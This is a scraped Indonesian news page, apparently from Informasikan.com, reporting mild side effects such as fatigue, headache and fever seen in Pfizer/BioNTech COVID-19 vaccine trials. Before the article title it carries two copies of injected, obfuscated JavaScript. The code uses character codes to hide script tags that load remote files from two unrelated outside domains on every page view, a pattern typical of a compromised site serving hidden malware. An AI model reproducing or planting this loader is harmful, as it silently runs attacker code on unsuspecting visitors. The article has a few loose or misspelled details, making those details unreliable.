Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,119,101,108,108,46,108,105,110,101,116,111,97,100,115,97,99,116,105,118,101,46,99,111,109,47,109,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,99,104,116,46,115,101,99,111,110,100,97,114,121,105,110,102,111,114,109,116,114,97,110,100,46,99,111,109,47,109,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})(); Efek Samping Ringan Yang Ditunjukkan Vaksin Corona Pfizer - Informasikan.com

Efek Samping Ringan Yang Ditunjukkan Vaksin Corona Pfizer

Ini Kabar Terbaru Vaksin Pfizer yang Diminta Siap Bulan Ini

Pfizer Inc merupakan salah satu perusahaan yang mengembangkan vaksin. Pfizer Inc menemukan adanya partsipan vaksin yang menunjukkan efek samping ringan saat diberi vaksin COVID-19 atau placebo dalam studi tahap akhir yang sedang berlangsung. 

Uji coba vaksin COVID-19 yang dirancang oleh Pfizer Inc bersama mitranya BioNTech SE, memungkinkan perusahaan akan menemukan apakah bidikan mereka berhasil atau tidak sebelum kompetitor mereka bergerak lebih cepat. 

Namun, nanti jiga sudah di produksi dan di distribusikan bagi anda yang sedang mencari vaksin Pfizer, anda bisa mencari di halodoc. Dapatkan vaksin secara mudah, cukup dengan mengunjungi situs atau aplikasi halodoc ya.

Proses Pengembangan Vaksin Pfizer

Seperti yang dikutip dari Strait Times menemukan bahwa kelelahan merupakan efek samping yang paling sering dilaporkan relawan vaksin. Kemudian pemberian dosis yang kedua, sekitar 36 persen untuk kelompok usia 18 hingga 64 tahun, serta 27 persen untuk kelompok usia 65 hingga 84 tahun melaporkan kelelahan. 

Selain itu masih ada efek samping lainnya yang paling sering dialami relawan seperti sakit kepala, nyeri otot, menggigil, serta nyeri sendi. Bahkan beberapa peserta studi melaporkan bahwa mereka mengalami demam, termasuk demam tinggi. 

Kepala Penelitian Vaksin Pfizer, Dr Kathrin Jansen berkata, “(Peneliti) akan memberi tahu kami jika mereka memiliki masalah keamanan dan belum menemukannya hingga saat ini.”

Ada sekitar 12 ribu orang lebih yang telah menerima dosis kedua dari kandidat vaksin COVID-19 yang dikembangkan oleh Pfizer Inc. Perusahaan ini juga telah mendaftarkan lebih dari 29 ribu dari 44 ribu sukarelawan untuk uji klinis vaksin yang bekerjasama dengan BioNTech. 

Pfizer mengatakan bahwa pihaknya terus meneliti keamanan serta tolerabilitas vaksin didalam studinya. Mikael Dolsten selaku Chief Scientific Officer Pfizer, berkata “Kami yakin, mengingat profil kekebalan yang sangat kuat dan juga profil praklinis, bahwa kemanjuran vaksin kemungkinan besar mencapai 60 persen atau lebih.”

Sebelum akhir tahun 2020 jika telah terbukti aman dan efektif, vaksin Covid-19 buatan Pfizer ini bisa didistribusikan ke Amerika Serikat (AS). Ini merupakan pernyataan dari Albert Bouria CEO Pfizer. Albert Bouria mengungkapkan bahwa untuk bisa mencapai target tersebut, perusahaan harus menyertakan data kunci uji klinis fase akhir kepada Food and Drug Administration (FDA) pada akhir Oktober 2020. 

Seperti yang dikutip dari CNBC International, Senin (14/9/2020), Albert Bourla berujar, “Jika FDA merestui vaksin tersebut kami siap mendistribusikan ratusan ribu dosis.”

FDA sebelumnya telah meluncurkan program untuk mempercepat pengembangan vaksin. Caranya adalah dengan mendanai vaksin vaksin potensial. FDA juga telah menyatakan kesiapannya untuk memberi izin khusus supaya vaksin segera tersedia. 

Dalam upaya mengembangkan vaksin Covid-19, Pfizer telah menggandeng BioNtech dari Jerman. Vaksin Corona Pfizer ini mengandung material yang disebut dengan messenger RNA (mRNA). Vaksin ini juga didanai oleh Bill Gates pendiri Microsoft. 

Vaksin Corona Pfizer ini juga dianggap sebagai salah satu vaksin Covid-19 yang paling maju bersama dengan AstraZeneca dan Moderna. Manajemen saat itu telah mengajukan izin kepada FDA untuk memperluas uji vaksin hingga 40.000 relawan, ditambah 10.000 relawan dari target awal. 

Pemerintah AS pada Juli 2020 lalu telah memesan 100 juta dosis vaksin corona Pfizer jika terbukti aman dan efektif digunakan. Pemerintah AS telah membayar kepada perusahaan sebesar US$1,95 miliar. Dana sebesar US$1,5 miliar telah diinvestasikan untuk pengembangan vaksin. 

Tambah Albert Bouria jika vaksin ini gagal bekerja maka akan berdampak buruk bagi perusahaan secara finansial. Jelasnya, “Pada akhirnya itu hanya uang. Tak ada merusak perusahaan meski akan menyakitkan.” 

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.